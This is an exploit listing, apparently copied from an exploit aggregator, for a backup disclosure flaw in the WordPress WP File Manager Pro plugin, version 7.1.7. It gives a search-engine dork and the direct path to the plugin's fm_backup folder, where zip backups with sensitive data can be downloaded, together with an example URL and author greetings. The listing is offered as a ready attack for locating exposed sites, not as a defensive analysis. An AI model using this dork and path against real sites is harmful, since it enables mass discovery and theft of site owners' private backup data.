Exploit for WordPress WP File Manager 7.1.7 Backup Disclosure

Name: Exploit for WordPress WP File Manager 7.1.7 Backup Disclosure
Rating: 5 (82 reviews)

2023-06-06 | CVSS 7.1

## https://sploitus.com/exploit?id=PACKETSTORM:172736
====================================================================================================================================  
| # Title : WordPress - wp file manager pro 7.1.7 Backup Disclosure Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0.2(64-bit) |   
| # Vendor : https://wordpress.org/plugins/wp-file-manager/ |   
| # Dork : "/wp-content/uploads/wp-file-manager-pro/fm_backup/" |  
====================================================================================================================================  
  
P0C :  
  
[+] The plugin exports a backup exported as a zip file and contains sensitive informations.  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] Use payload : "/wp-content/uploads/wp-file-manager-pro/fm_backup/"  
  
[+] https://127.0.0.1/7-s3com/wp-content/uploads/wp-file-manager-pro/fm_backup/   
  
Greetings to :=========================================================================================================================  
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm * thelastvvv *Zigoo.eg |  
=======================================================================================================================================